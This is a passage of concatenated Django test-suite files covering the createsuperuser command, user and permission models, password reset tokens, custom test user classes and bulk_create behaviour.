            stderr=six.StringIO(),
            interactive=False,
            verbosity=0,
            username='janet',
            email='janet@example.com',
        )
        self.assertIs(command.stdin, sentinel)

        command = createsuperuser.Command()
        call_command(
            command,
            stdout=six.StringIO(),
            stderr=six.StringIO(),
            interactive=False,
            verbosity=0,
            username='joe',
            email='joe@example.com',
        )
        self.assertIs(command.stdin, sys.stdin)

    @override_settings(AUTH_USER_MODEL='auth_tests.CustomUserWithFK')
    def test_fields_with_fk(self):
        new_io = six.StringIO()
        group = Group.objects.create(name='mygroup')
        email = Email.objects.create(email='mymail@gmail.com')
        call_command(
            'createsuperuser',
            interactive=False,
            username=email.pk,
            email=email.email,
            group=group.pk,
            stdout=new_io,
        )
        command_output = new_io.getvalue().strip()
        self.assertEqual(command_output, 'Superuser created successfully.')
        u = CustomUserWithFK._default_manager.get(email=email)
        self.assertEqual(u.username, email)
        self.assertEqual(u.group, group)

        non_existent_email = 'mymail2@gmail.com'
        msg = 'email instance with email %r does not exist.' % non_existent_email
        with self.assertRaisesMessage(CommandError, msg):
            call_command(
                'createsuperuser',
                interactive=False,
                username=email.pk,
                email=non_existent_email,
                stdout=new_io,
            )

    @override_settings(AUTH_USER_MODEL='auth_tests.CustomUserWithFK')
    def test_fields_with_fk_interactive(self):
        new_io = six.StringIO()
        group = Group.objects.create(name='mygroup')
        email = Email.objects.create(email='mymail@gmail.com')

        @mock_inputs({
            'password': 'nopasswd',
            'username (email.id)': email.pk,
            'email (email.email)': email.email,
            'group (group.id)': group.pk,
        })
        def test(self):
            call_command(
                'createsuperuser',
                interactive=True,
                stdout=new_io,
                stdin=MockTTY(),
            )

            command_output = new_io.getvalue().strip()
            self.assertEqual(command_output, 'Superuser created successfully.')
            u = CustomUserWithFK._default_manager.get(email=email)
            self.assertEqual(u.username, email)
            self.assertEqual(u.group, group)

        test(self)

    def test_password_validation(self):
        """
        Creation should fail if the password fails validation.
        """
        new_io = six.StringIO()

        # Returns '1234567890' the first two times it is called, then
        # 'password' subsequently.
        def bad_then_good_password(index=[0]):
            index[0] += 1
            if index[0] <= 2:
                return '1234567890'
            return 'password'

        @mock_inputs({
            'password': bad_then_good_password,
            'username': 'joe1234567890',
        })
        def test(self):
            call_command(
                "createsuperuser",
                interactive=True,
                stdin=MockTTY(),
                stdout=new_io,
                stderr=new_io,
            )
            self.assertEqual(
                new_io.getvalue().strip(),
                "This password is entirely numeric.\n"
                "Superuser created successfully."
            )

        test(self)

    def test_validation_mismatched_passwords(self):
        """
        Creation should fail if the user enters mismatched passwords.
        """
        new_io = six.StringIO()

        # The first two passwords do not match, but the second two do match and
        # are valid.
        entered_passwords = ["password", "not password", "password2", "password2"]

        def mismatched_passwords_then_matched():
            return entered_passwords.pop(0)

        @mock_inputs({
            'password': mismatched_passwords_then_matched,
            'username': 'joe1234567890',
        })
        def test(self):
            call_command(
                "createsuperuser",
                interactive=True,
                stdin=MockTTY(),
                stdout=new_io,
                stderr=new_io,
            )
            self.assertEqual(
                new_io.getvalue().strip(),
                "Error: Your passwords didn't match.\n"
                "Superuser created successfully."
            )

        test(self)

    def test_validation_blank_password_entered(self):
        """
        Creation should fail if the user enters blank passwords.
        """
        new_io = six.StringIO()

        # The first two passwords are empty strings, but the second two are
        # valid.
        entered_passwords = ["", "", "password2", "password2"]

        def blank_passwords_then_valid():
            return entered_passwords.pop(0)

        @mock_inputs({
            'password': blank_passwords_then_valid,
            'username': 'joe1234567890',
        })
        def test(self):
            call_command(
                "createsuperuser",
                interactive=True,
                stdin=MockTTY(),
                stdout=new_io,
                stderr=new_io,
            )
            self.assertEqual(
                new_io.getvalue().strip(),
                "Error: Blank passwords aren't allowed.\n"
                "Superuser created successfully."
            )

        test(self)


class MultiDBCreatesuperuserTestCase(TestCase):
    multi_db = True

    def test_createsuperuser_command_with_database_option(self):
        """
        changepassword --database should operate on the specified DB.
        """
        new_io = six.StringIO()
        call_command(
            'createsuperuser',
            interactive=False,
            username='joe',
            email='joe@somewhere.org',
            database='other',
            stdout=new_io,
        )
        command_output = new_io.getvalue().strip()
        self.assertEqual(command_output, 'Superuser created successfully.')
        user = User.objects.using('other').get(username='joe')
        self.assertEqual(user.email, 'joe@somewhere.org')


class CreatePermissionsTests(TestCase):

    def setUp(self):
        self._original_permissions = Permission._meta.permissions[:]
        self._original_default_permissions = Permission._meta.default_permissions
        self.app_config = apps.get_app_config('auth')

    def tearDown(self):
        Permission._meta.permissions = self._original_permissions
        Permission._meta.default_permissions = self._original_default_permissions
        ContentType.objects.clear_cache()

    def test_default_permissions(self):
        permission_content_type = ContentType.objects.get_by_natural_key('auth', 'permission')
        Permission._meta.permissions = [
            ('my_custom_permission', 'Some permission'),
        ]
        create_permissions(self.app_config, verbosity=0)

        # add/change/delete permission by default + custom permission
        self.assertEqual(Permission.objects.filter(
            content_type=permission_content_type,
        ).count(), 4)

        Permission.objects.filter(content_type=permission_content_type).delete()
        Permission._meta.default_permissions = []
        create_permissions(self.app_config, verbosity=0)

        # custom permission only since default permissions is empty
        self.assertEqual(Permission.objects.filter(
            content_type=permission_content_type,
        ).count(), 1)

    def test_unvailable_models(self):
        """
        #24075 - Permissions shouldn't be created or deleted if the ContentType
        or Permission models aren't available.
        """
        state = migrations.state.ProjectState()
        # Unvailable contenttypes.ContentType
        with self.assertNumQueries(0):
            create_permissions(self.app_config, verbosity=0, apps=state.apps)
        # Unvailable auth.Permission
        state = migrations.state.ProjectState(real_apps=['contenttypes'])
        with self.assertNumQueries(0):
            create_permissions(self.app_config, verbosity=0, apps=state.apps)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.conf.global_settings import PASSWORD_HASHERS
from django.contrib.auth import get_user_model
from django.contrib.auth.hashers import get_hasher
from django.contrib.auth.models import (
    AbstractUser, Group, Permission, User, UserManager,
)
from django.contrib.contenttypes.models import ContentType
from django.core import mail
from django.db.models.signals import post_save
from django.test import TestCase, mock, override_settings


class NaturalKeysTestCase(TestCase):

    def test_user_natural_key(self):
        staff_user = User.objects.create_user(username='staff')
        self.assertEqual(User.objects.get_by_natural_key('staff'), staff_user)
        self.assertEqual(staff_user.natural_key(), ('staff',))

    def test_group_natural_key(self):
        users_group = Group.objects.create(name='users')
        self.assertEqual(Group.objects.get_by_natural_key('users'), users_group)


class LoadDataWithoutNaturalKeysTestCase(TestCase):
    fixtures = ['regular.json']

    def test_user_is_created_and_added_to_group(self):
        user = User.objects.get(username='my_username')
        group = Group.objects.get(name='my_group')
        self.assertEqual(group, user.groups.get())


class LoadDataWithNaturalKeysTestCase(TestCase):
    fixtures = ['natural.json']

    def test_user_is_created_and_added_to_group(self):
        user = User.objects.get(username='my_username')
        group = Group.objects.get(name='my_group')
        self.assertEqual(group, user.groups.get())


class LoadDataWithNaturalKeysAndMultipleDatabasesTestCase(TestCase):
    multi_db = True

    def test_load_data_with_user_permissions(self):
        # Create test contenttypes for both databases
        default_objects = [
            ContentType.objects.db_manager('default').create(
                model='examplemodela',
                app_label='app_a',
            ),
            ContentType.objects.db_manager('default').create(
                model='examplemodelb',
                app_label='app_b',
            ),
        ]
        other_objects = [
            ContentType.objects.db_manager('other').create(
                model='examplemodelb',
                app_label='app_b',
            ),
            ContentType.objects.db_manager('other').create(
                model='examplemodela',
                app_label='app_a',
            ),
        ]

        # Now we create the test UserPermission
        Permission.objects.db_manager("default").create(
            name="Can delete example model b",
            codename="delete_examplemodelb",
            content_type=default_objects[1],
        )
        Permission.objects.db_manager("other").create(
            name="Can delete example model b",
            codename="delete_examplemodelb",
            content_type=other_objects[0],
        )

        perm_default = Permission.objects.get_by_natural_key(
            'delete_examplemodelb',
            'app_b',
            'examplemodelb',
        )

        perm_other = Permission.objects.db_manager('other').get_by_natural_key(
            'delete_examplemodelb',
            'app_b',
            'examplemodelb',
        )

        self.assertEqual(perm_default.content_type_id, default_objects[1].id)
        self.assertEqual(perm_other.content_type_id, other_objects[0].id)


class UserManagerTestCase(TestCase):

    def test_create_user(self):
        email_lowercase = 'normal@normal.com'
        user = User.objects.create_user('user', email_lowercase)
        self.assertEqual(user.email, email_lowercase)
        self.assertEqual(user.username, 'user')
        self.assertFalse(user.has_usable_password())

    def test_create_user_email_domain_normalize_rfc3696(self):
        # According to  http://tools.ietf.org/html/rfc3696#section-3
        # the "@" symbol can be part of the local part of an email address
        returned = UserManager.normalize_email(r'Abc\@DEF@EXAMPLE.com')
        self.assertEqual(returned, r'Abc\@DEF@example.com')

    def test_create_user_email_domain_normalize(self):
        returned = UserManager.normalize_email('normal@DOMAIN.COM')
        self.assertEqual(returned, 'normal@domain.com')

    def test_create_user_email_domain_normalize_with_whitespace(self):
        returned = UserManager.normalize_email('email\ with_whitespace@D.COM')
        self.assertEqual(returned, 'email\ with_whitespace@d.com')

    def test_empty_username(self):
        with self.assertRaisesMessage(ValueError, 'The given username must be set'):
            User.objects.create_user(username='')

    def test_create_user_is_staff(self):
        email = 'normal@normal.com'
        user = User.objects.create_user('user', email, is_staff=True)
        self.assertEqual(user.email, email)
        self.assertEqual(user.username, 'user')
        self.assertTrue(user.is_staff)

    def test_create_super_user_raises_error_on_false_is_superuser(self):
        with self.assertRaisesMessage(ValueError, 'Superuser must have is_superuser=True.'):
            User.objects.create_superuser(
                username='test', email='test@test.com',
                password='test', is_superuser=False,
            )

    def test_create_superuser_raises_error_on_false_is_staff(self):
        with self.assertRaisesMessage(ValueError, 'Superuser must have is_staff=True.'):
            User.objects.create_superuser(
                username='test', email='test@test.com',
                password='test', is_staff=False,
            )


class AbstractBaseUserTests(TestCase):

    def test_clean_normalize_username(self):
        # The normalization happens in AbstractBaseUser.clean()
        ohm_username = 'iamtheΩ'  # U+2126 OHM SIGN
        for model in ('auth.User', 'auth_tests.CustomUser'):
            with self.settings(AUTH_USER_MODEL=model):
                User = get_user_model()
                user = User(**{User.USERNAME_FIELD: ohm_username, 'password': 'foo'})
                user.clean()
                username = user.get_username()
                self.assertNotEqual(username, ohm_username)
                self.assertEqual(username, 'iamtheΩ')  # U+03A9 GREEK CAPITAL LETTER OMEGA


class AbstractUserTestCase(TestCase):
    def test_email_user(self):
        # valid send_mail parameters
        kwargs = {
            "fail_silently": False,
            "auth_user": None,
            "auth_password": None,
            "connection": None,
            "html_message": None,
        }
        abstract_user = AbstractUser(email='foo@bar.com')
        abstract_user.email_user(
            subject="Subject here",
            message="This is a message",
            from_email="from@domain.com",
            **kwargs
        )
        # Test that one message has been sent.
        self.assertEqual(len(mail.outbox), 1)
        # Verify that test email contains the correct attributes:
        message = mail.outbox[0]
        self.assertEqual(message.subject, "Subject here")
        self.assertEqual(message.body, "This is a message")
        self.assertEqual(message.from_email, "from@domain.com")
        self.assertEqual(message.to, [abstract_user.email])

    def test_last_login_default(self):
        user1 = User.objects.create(username='user1')
        self.assertIsNone(user1.last_login)

        user2 = User.objects.create_user(username='user2')
        self.assertIsNone(user2.last_login)

    def test_user_clean_normalize_email(self):
        user = User(username='user', password='foo', email='foo@BAR.com')
        user.clean()
        self.assertEqual(user.email, 'foo@bar.com')

    def test_user_double_save(self):
        """
        Calling user.save() twice should trigger password_changed() once.
        """
        user = User.objects.create_user(username='user', password='foo')
        user.set_password('bar')
        with mock.patch('django.contrib.auth.password_validation.password_changed') as pw_changed:
            user.save()
            self.assertEqual(pw_changed.call_count, 1)
            user.save()
            self.assertEqual(pw_changed.call_count, 1)

    @override_settings(PASSWORD_HASHERS=PASSWORD_HASHERS)
    def test_check_password_upgrade(self):
        """
        password_changed() shouldn't be called if User.check_password()
        triggers a hash iteration upgrade.
        """
        user = User.objects.create_user(username='user', password='foo')
        initial_password = user.password
        self.assertTrue(user.check_password('foo'))
        hasher = get_hasher('default')
        self.assertEqual('pbkdf2_sha256', hasher.algorithm)

        old_iterations = hasher.iterations
        try:
            # Upgrade the password iterations
            hasher.iterations = old_iterations + 1
            with mock.patch('django.contrib.auth.password_validation.password_changed') as pw_changed:
                user.check_password('foo')
                self.assertEqual(pw_changed.call_count, 0)
            self.assertNotEqual(initial_password, user.password)
        finally:
            hasher.iterations = old_iterations


class IsActiveTestCase(TestCase):
    """
    Tests the behavior of the guaranteed is_active attribute
    """

    def test_builtin_user_isactive(self):
        user = User.objects.create(username='foo', email='foo@bar.com')
        # is_active is true by default
        self.assertIs(user.is_active, True)
        user.is_active = False
        user.save()
        user_fetched = User.objects.get(pk=user.pk)
        # the is_active flag is saved
        self.assertFalse(user_fetched.is_active)

    @override_settings(AUTH_USER_MODEL='auth_tests.IsActiveTestUser1')
    def test_is_active_field_default(self):
        """
        tests that the default value for is_active is provided
        """
        UserModel = get_user_model()
        user = UserModel(username='foo')
        self.assertIs(user.is_active, True)
        # you can set the attribute - but it will not save
        user.is_active = False
        # there should be no problem saving - but the attribute is not saved
        user.save()
        user_fetched = UserModel._default_manager.get(pk=user.pk)
        # the attribute is always true for newly retrieved instance
        self.assertIs(user_fetched.is_active, True)


class TestCreateSuperUserSignals(TestCase):
    """
    Simple test case for ticket #20541
    """
    def post_save_listener(self, *args, **kwargs):
        self.signals_count += 1

    def setUp(self):
        self.signals_count = 0
        post_save.connect(self.post_save_listener, sender=User)

    def tearDown(self):
        post_save.disconnect(self.post_save_listener, sender=User)

    def test_create_user(self):
        User.objects.create_user("JohnDoe")
        self.assertEqual(self.signals_count, 1)

    def test_create_superuser(self):
        User.objects.create_superuser("JohnDoe", "mail@example.com", "1")
        self.assertEqual(self.signals_count, 1)






import unittest
from datetime import date, timedelta

from django.conf import settings
from django.contrib.auth.models import User
from django.contrib.auth.tokens import PasswordResetTokenGenerator
from django.test import TestCase
from django.utils.six import PY3


class TokenGeneratorTest(TestCase):

    def test_make_token(self):
        """
        Ensure that we can make a token and that it is valid
        """
        user = User.objects.create_user('tokentestuser', 'test2@example.com', 'testpw')
        p0 = PasswordResetTokenGenerator()
        tk1 = p0.make_token(user)
        self.assertTrue(p0.check_token(user, tk1))

    def test_10265(self):
        """
        Ensure that the token generated for a user created in the same request
        will work correctly.
        """
        # See ticket #10265
        user = User.objects.create_user('comebackkid', 'test3@example.com', 'testpw')
        p0 = PasswordResetTokenGenerator()
        tk1 = p0.make_token(user)
        reload = User.objects.get(username='comebackkid')
        tk2 = p0.make_token(reload)
        self.assertEqual(tk1, tk2)

    def test_timeout(self):
        """
        Ensure we can use the token after n days, but no greater.
        """
        # Uses a mocked version of PasswordResetTokenGenerator so we can change
        # the value of 'today'
        class Mocked(PasswordResetTokenGenerator):
            def __init__(self, today):
                self._today_val = today

            def _today(self):
                return self._today_val

        user = User.objects.create_user('tokentestuser', 'test2@example.com', 'testpw')
        p0 = PasswordResetTokenGenerator()
        tk1 = p0.make_token(user)
        p1 = Mocked(date.today() + timedelta(settings.PASSWORD_RESET_TIMEOUT_DAYS))
        self.assertTrue(p1.check_token(user, tk1))

        p2 = Mocked(date.today() + timedelta(settings.PASSWORD_RESET_TIMEOUT_DAYS + 1))
        self.assertFalse(p2.check_token(user, tk1))

    @unittest.skipIf(PY3, "Unnecessary test with Python 3")
    def test_date_length(self):
        """
        Make sure we don't allow overly long dates, causing a potential DoS.
        """
        user = User.objects.create_user('ima1337h4x0r', 'test4@example.com', 'p4ssw0rd')
        p0 = PasswordResetTokenGenerator()

        # This will put a 14-digit base36 timestamp into the token, which is too large.
        with self.assertRaises(ValueError):
            p0._make_token_with_timestamp(user, 175455491841851871349)






from django.contrib.auth.models import (
    AbstractBaseUser, AbstractUser, BaseUserManager, Group, Permission,
    PermissionsMixin, UserManager,
)
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


# The custom User uses email as the unique identifier, and requires
# that every user provide a date of birth. This lets us test
# changes in username datatype, and non-text required fields.
class CustomUserManager(BaseUserManager):
    def create_user(self, email, date_of_birth, password=None):
        """
        Creates and saves a User with the given email and password.
        """
        if not email:
            raise ValueError('Users must have an email address')

        user = self.model(
            email=self.normalize_email(email),
            date_of_birth=date_of_birth,
        )

        user.set_password(password)
        user.save(using=self._db)
        return user

    def create_superuser(self, email, password, date_of_birth):
        u = self.create_user(email, password=password, date_of_birth=date_of_birth)
        u.is_admin = True
        u.save(using=self._db)
        return u


@python_2_unicode_compatible
class CustomUser(AbstractBaseUser):
    email = models.EmailField(verbose_name='email address', max_length=255, unique=True)
    is_active = models.BooleanField(default=True)
    is_admin = models.BooleanField(default=False)
    date_of_birth = models.DateField()

    custom_objects = CustomUserManager()

    USERNAME_FIELD = 'email'
    REQUIRED_FIELDS = ['date_of_birth']

    def get_full_name(self):
        return self.email

    def get_short_name(self):
        return self.email

    def __str__(self):
        return self.email

    # Maybe required?
    def get_group_permissions(self, obj=None):
        return set()

    def get_all_permissions(self, obj=None):
        return set()

    def has_perm(self, perm, obj=None):
        return True

    def has_perms(self, perm_list, obj=None):
        return True

    def has_module_perms(self, app_label):
        return True

    # Admin required fields
    @property
    def is_staff(self):
        return self.is_admin


class RemoveGroupsAndPermissions(object):
    """
    A context manager to temporarily remove the groups and user_permissions M2M
    fields from the AbstractUser class, so they don't clash with the
    related_name sets.
    """
    def __enter__(self):
        self._old_au_local_m2m = AbstractUser._meta.local_many_to_many
        self._old_pm_local_m2m = PermissionsMixin._meta.local_many_to_many
        groups = models.ManyToManyField(Group, blank=True)
        groups.contribute_to_class(PermissionsMixin, "groups")
        user_permissions = models.ManyToManyField(Permission, blank=True)
        user_permissions.contribute_to_class(PermissionsMixin, "user_permissions")
        PermissionsMixin._meta.local_many_to_many = [groups, user_permissions]
        AbstractUser._meta.local_many_to_many = [groups, user_permissions]

    def __exit__(self, exc_type, exc_value, traceback):
        AbstractUser._meta.local_many_to_many = self._old_au_local_m2m
        PermissionsMixin._meta.local_many_to_many = self._old_pm_local_m2m


class CustomUserWithoutIsActiveField(AbstractBaseUser):
    username = models.CharField(max_length=150, unique=True)
    email = models.EmailField(unique=True)

    objects = UserManager()

    USERNAME_FIELD = 'username'


# The extension user is a simple extension of the built-in user class,
# adding a required date_of_birth field. This allows us to check for
# any hard references to the name "User" in forms/handlers etc.
with RemoveGroupsAndPermissions():
    class ExtensionUser(AbstractUser):
        date_of_birth = models.DateField()

        custom_objects = UserManager()

        REQUIRED_FIELDS = AbstractUser.REQUIRED_FIELDS + ['date_of_birth']






from django.contrib.auth.models import AbstractBaseUser, BaseUserManager, Group
from django.db import models


class Email(models.Model):
    email = models.EmailField(verbose_name='email address', max_length=255, unique=True)


class CustomUserWithFKManager(BaseUserManager):
    def create_superuser(self, username, email, group, password):
        user = self.model(username_id=username, email_id=email, group_id=group)
        user.set_password(password)
        user.save(using=self._db)
        return user


class CustomUserWithFK(AbstractBaseUser):
    username = models.ForeignKey(Email, models.CASCADE, related_name='primary')
    email = models.ForeignKey(Email, models.CASCADE, to_field='email', related_name='secondary')
    group = models.ForeignKey(Group, models.CASCADE)

    custom_objects = CustomUserWithFKManager()

    USERNAME_FIELD = 'username'
    REQUIRED_FIELDS = ['email', 'group']






import uuid

from django.contrib.auth.models import AbstractUser
from django.db import models

from .custom_user import RemoveGroupsAndPermissions

with RemoveGroupsAndPermissions():
    class UUIDUser(AbstractUser):
        """A user with a UUID as primary key"""
        id = models.UUIDField(default=uuid.uuid4, primary_key=True)






from django.contrib.auth.models import AbstractBaseUser, BaseUserManager
from django.db import models


class IsActiveTestUser1(AbstractBaseUser):
    """
    This test user class and derivatives test the default is_active behavior
    """
    username = models.CharField(max_length=30, unique=True)

    custom_objects = BaseUserManager()

    USERNAME_FIELD = 'username'

    # the is_active attr is provided by AbstractBaseUser






from .custom_permissions import CustomPermissionsUser
from .custom_user import (
    CustomUser, CustomUserWithoutIsActiveField, ExtensionUser,
)
from .invalid_models import CustomUserNonUniqueUsername
from .is_active import IsActiveTestUser1
from .uuid_pk import UUIDUser
from .with_foreign_key import CustomUserWithFK, Email
from .with_integer_username import IntegerUsernameUser

__all__ = (
    'CustomUser', 'CustomUserWithoutIsActiveField', 'CustomPermissionsUser',
    'CustomUserWithFK', 'Email', 'ExtensionUser', 'IsActiveTestUser1',
    'UUIDUser', 'CustomUserNonUniqueUsername', 'IntegerUsernameUser'
)






"""
The CustomPermissionsUser users email as the identifier, but uses the normal
Django permissions model. This allows us to check that the PermissionsMixin
includes everything that is needed to interact with the ModelBackend.
"""
from django.contrib.auth.models import AbstractBaseUser, PermissionsMixin
from django.db import models
from django.utils.encoding import python_2_unicode_compatible

from .custom_user import CustomUserManager, RemoveGroupsAndPermissions


class CustomPermissionsUserManager(CustomUserManager):
    def create_superuser(self, email, password, date_of_birth):
        u = self.create_user(email, password=password, date_of_birth=date_of_birth)
        u.is_superuser = True
        u.save(using=self._db)
        return u


with RemoveGroupsAndPermissions():
    @python_2_unicode_compatible
    class CustomPermissionsUser(AbstractBaseUser, PermissionsMixin):
        email = models.EmailField(verbose_name='email address', max_length=255, unique=True)
        date_of_birth = models.DateField()

        custom_objects = CustomPermissionsUserManager()

        USERNAME_FIELD = 'email'
        REQUIRED_FIELDS = ['date_of_birth']

        def get_full_name(self):
            return self.email

        def get_short_name(self):
            return self.email

        def __str__(self):
            return self.email






from django.contrib.auth.models import AbstractBaseUser, BaseUserManager
from django.db import models


class IntegerUsernameUserManager(BaseUserManager):
    def create_user(self, username, password):
        user = self.model(username=username)
        user.set_password(password)
        user.save(using=self._db)
        return user

    def get_by_natural_key(self, username):
        return self.get(username=username)


class IntegerUsernameUser(AbstractBaseUser):
    username = models.IntegerField()
    password = models.CharField(max_length=255)

    USERNAME_FIELD = 'username'
    REQUIRED_FIELDS = ['username', 'password']

    objects = IntegerUsernameUserManager()






from django.contrib.auth.models import AbstractBaseUser, UserManager
from django.db import models


class CustomUserNonUniqueUsername(AbstractBaseUser):
    """
    A user with a non-unique username.

    This model is not invalid if it is used with a custom authentication
    backend which supports non-unique usernames.
    """
    username = models.CharField(max_length=30)
    email = models.EmailField(blank=True)
    is_staff = models.BooleanField(default=False)
    is_superuser = models.BooleanField(default=False)

    USERNAME_FIELD = 'username'
    REQUIRED_FIELDS = ['email']

    objects = UserManager()






from django.db import models


class Country(models.Model):
    name = models.CharField(max_length=255)
    iso_two_letter = models.CharField(max_length=2)


class ProxyCountry(Country):
    class Meta:
        proxy = True


class ProxyProxyCountry(ProxyCountry):
    class Meta:
        proxy = True


class ProxyMultiCountry(ProxyCountry):
    pass


class ProxyMultiProxyCountry(ProxyMultiCountry):
    class Meta:
        proxy = True


class Place(models.Model):
    name = models.CharField(max_length=100)

    class Meta:
        abstract = True


class Restaurant(Place):
    pass


class Pizzeria(Restaurant):
    pass


class State(models.Model):
    two_letter_code = models.CharField(max_length=2, primary_key=True)


class TwoFields(models.Model):
    f1 = models.IntegerField(unique=True)
    f2 = models.IntegerField(unique=True)


class NoFields(models.Model):
    pass












from __future__ import unicode_literals

from operator import attrgetter

from django.db import connection
from django.db.models import Value
from django.db.models.functions import Lower
from django.test import (
    TestCase, override_settings, skipIfDBFeature, skipUnlessDBFeature,
)

from .models import (
    Country, NoFields, Pizzeria, ProxyCountry, ProxyMultiCountry,
    ProxyMultiProxyCountry, ProxyProxyCountry, Restaurant, State, TwoFields,
)


class BulkCreateTests(TestCase):
    def setUp(self):
        self.data = [
            Country(name="United States of America", iso_two_letter="US"),
            Country(name="The Netherlands", iso_two_letter="NL"),
            Country(name="Germany", iso_two_letter="DE"),
            Country(name="Czech Republic", iso_two_letter="CZ")
        ]

    def test_simple(self):
        created = Country.objects.bulk_create(self.data)
        self.assertEqual(len(created), 4)
        self.assertQuerysetEqual(Country.objects.order_by("-name"), [
            "United States of America", "The Netherlands", "Germany", "Czech Republic"
        ], attrgetter("name"))

        created = Country.objects.bulk_create([])
        self.assertEqual(created, [])
        self.assertEqual(Country.objects.count(), 4)

    @skipUnlessDBFeature('has_bulk_insert')
    def test_efficiency(self):
        with self.assertNumQueries(1):
            Country.objects.bulk_create(self.data)

    def test_multi_table_inheritance_unsupported(self):
        expected_message = "Can't bulk create a multi-table inherited model"
        with self.assertRaisesMessage(ValueError, expected_message):
            Pizzeria.objects.bulk_create([
                Pizzeria(name="The Art of Pizza"),
            ])
        with self.assertRaisesMessage(ValueError, expected_message):
            ProxyMultiCountry.objects.bulk_create([
                ProxyMultiCountry(name="Fillory", iso_two_letter="FL"),
            ])
        with self.assertRaisesMessage(ValueError, expected_message):
            ProxyMultiProxyCountry.objects.bulk_create([
                ProxyMultiProxyCountry(name="Fillory", iso_two_letter="FL"),
            ])

    def test_proxy_inheritance_supported(self):
        ProxyCountry.objects.bulk_create([
            ProxyCountry(name="Qwghlm", iso_two_letter="QW"),
            Country(name="Tortall", iso_two_letter="TA"),
        ])
        self.assertQuerysetEqual(ProxyCountry.objects.all(), {
            "Qwghlm", "Tortall"
        }, attrgetter("name"), ordered=False)

        ProxyProxyCountry.objects.bulk_create([
            ProxyProxyCountry(name="Netherlands", iso_two_letter="NT"),
        ])
        self.assertQuerysetEqual(ProxyProxyCountry.objects.all(), {
            "Qwghlm", "Tortall", "Netherlands",
        }, attrgetter("name"), ordered=False)

    def test_non_auto_increment_pk(self):
        State.objects.bulk_create([
            State(two_letter_code=s)
            for s in ["IL", "NY", "CA", "ME"]
        ])
        self.assertQuerysetEqual(State.objects.order_by("two_letter_code"), [
            "CA", "IL", "ME", "NY",
        ], attrgetter("two_letter_code"))

    @skipUnlessDBFeature('has_bulk_insert')
    def test_non_auto_increment_pk_efficiency(self):
        with self.assertNumQueries(1):
            State.objects.bulk_create([
                State(two_letter_code=s)
                for s in ["IL", "NY", "CA", "ME"]
            ])
        self.assertQuerysetEqual(State.objects.order_by("two_letter_code"), [
            "CA", "IL", "ME", "NY",
        ], attrgetter("two_letter_code"))

    @skipIfDBFeature('allows_auto_pk_0')
    def test_zero_as_autoval(self):
        """
        Zero as id for AutoField should raise exception in MySQL, because MySQL
        does not allow zero for automatic primary key.
        """
        valid_country = Country(name='Germany', iso_two_letter='DE')
        invalid_country = Country(id=0, name='Poland', iso_two_letter='PL')
        with self.assertRaises(ValueError):
            Country.objects.bulk_create([valid_country, invalid_country])

    def test_batch_same_vals(self):
        # Sqlite had a problem where all the same-valued models were
        # collapsed to one insert.
        Restaurant.objects.bulk_create([
            Restaurant(name='foo') for i in range(0, 2)
        ])
        self.assertEqual(Restaurant.objects.count(), 2)

    def test_large_batch(self):
        with override_settings(DEBUG=True):
            connection.queries_log.clear()
            TwoFields.objects.bulk_create([
                TwoFields(f1=i, f2=i + 1) for i in range(0, 1001)
            ])
        self.assertEqual(TwoFields.objects.count(), 1001)
        self.assertEqual(
            TwoFields.objects.filter(f1__gte=450, f1__lte=550).count(),
            101)
        self.assertEqual(TwoFields.objects.filter(f2__gte=901).count(), 101)

    @skipUnlessDBFeature('has_bulk_insert')
    def test_large_single_field_batch(self):
        # SQLite had a problem with more than 500 UNIONed selects in single
        # query.
        Restaurant.objects.bulk_create([
            Restaurant() for i in range(0, 501)
        ])

    @skipUnlessDBFeature('has_bulk_insert')
    def test_large_batch_efficiency(self):
        with override_settings(DEBUG=True):
            connection.queries_log.clear()
            TwoFields.objects.bulk_create([
                TwoFields(f1=i, f2=i + 1) for i in range(0, 1001)
            ])
            self.assertLess(len(connection.queries), 10)

    def test_large_batch_mixed(self):
        """
        Test inserting a large batch with objects having primary key set
        mixed together with objects without PK set.
        """
        with override_settings(DEBUG=True):
            connection.queries_log.clear()
            TwoFields.objects.bulk_create([
                TwoFields(id=i if i % 2 == 0 else None, f1=i, f2=i + 1)
                for i in range(100000, 101000)])
        self.assertEqual(TwoFields.objects.count(), 1000)
        # We can't assume much about the ID's created, except that the above
        # created IDs must exist.
        id_range = range(100000, 101000, 2)
        self.assertEqual(TwoFields.objects.filter(id__in=id_range).count(), 500)
        self.assertEqual(TwoFields.objects.exclude(id__in=id_range).count(), 500)

    @skipUnlessDBFeature('has_bulk_insert')
    def test_large_batch_mixed_efficiency(self):
        """
        Test inserting a large batch with objects having primary key set
        mixed together with objects without PK set.
        """
        with override_settings(DEBUG=True):
            connection.queries_log.clear()
            TwoFields.objects.bulk_create([
                TwoFields(id=i if i % 2 == 0 else None, f1=i, f2=i + 1)
                for i in range(100000, 101000)])
            self.assertLess(len(connection.queries), 10)

    def test_explicit_batch_size(self):
        objs = [TwoFields(f1=i, f2=i) for i in range(0, 4)]
        TwoFields.objects.bulk_create(objs, 2)
        self.assertEqual(TwoFields.objects.count(), len(objs))
        TwoFields.objects.all().delete()
        TwoFields.objects.bulk_create(objs, len(objs))
        self.assertEqual(TwoFields.objects.count(), len(objs))

    def test_empty_model(self):
        NoFields.objects.bulk_create([NoFields() for i in range(2)])
        self.assertEqual(NoFields.objects.count(), 2)

    @skipUnlessDBFeature('has_bulk_insert')
    def test_explicit_batch_size_efficiency(self):
        objs = [TwoFields(f1=i, f2=i) for i in range(0, 100)]
        with self.assertNumQueries(2):
            TwoFields.objects.bulk_create(objs, 50)
        TwoFields.objects.all().delete()
        with self.assertNumQueries(1):
            TwoFields.objects.bulk_create(objs, len(objs))

    @skipUnlessDBFeature('has_bulk_insert')
    def test_bulk_insert_expressions(self):
        Restaurant.objects.bulk_create([
            Restaurant(name="Sam's Shake Shack"),
            Restaurant(name=Lower(Value("Betty's Beetroot Bar")))
        ])
        bbb = Restaurant.objects.filter(name="betty's beetroot bar")
        self.assertEqual(bbb.count(), 1)

    @skipUnlessDBFeature('can_return_ids_from_bulk_insert')
    def test_set_pk_and_insert_single_item(self):
        countries = []
        with self.assertNumQueries(1):
            countries = Country.objects.bulk_create([self.data[0]])
        self.assertEqual(len(countries), 1)
        self.assertEqual(Country.objects.get(pk=countries[0].pk), countries[0])

    @skipUnlessDBFeature('can_return_ids_from_bulk_insert')
    def test_set_pk_and_query_efficiency(self):
        countries = []
        with self.assertNumQueries(1):
            countries = Country.objects.bulk_create(self.data)
        self.assertEqual(len(countries), 4)
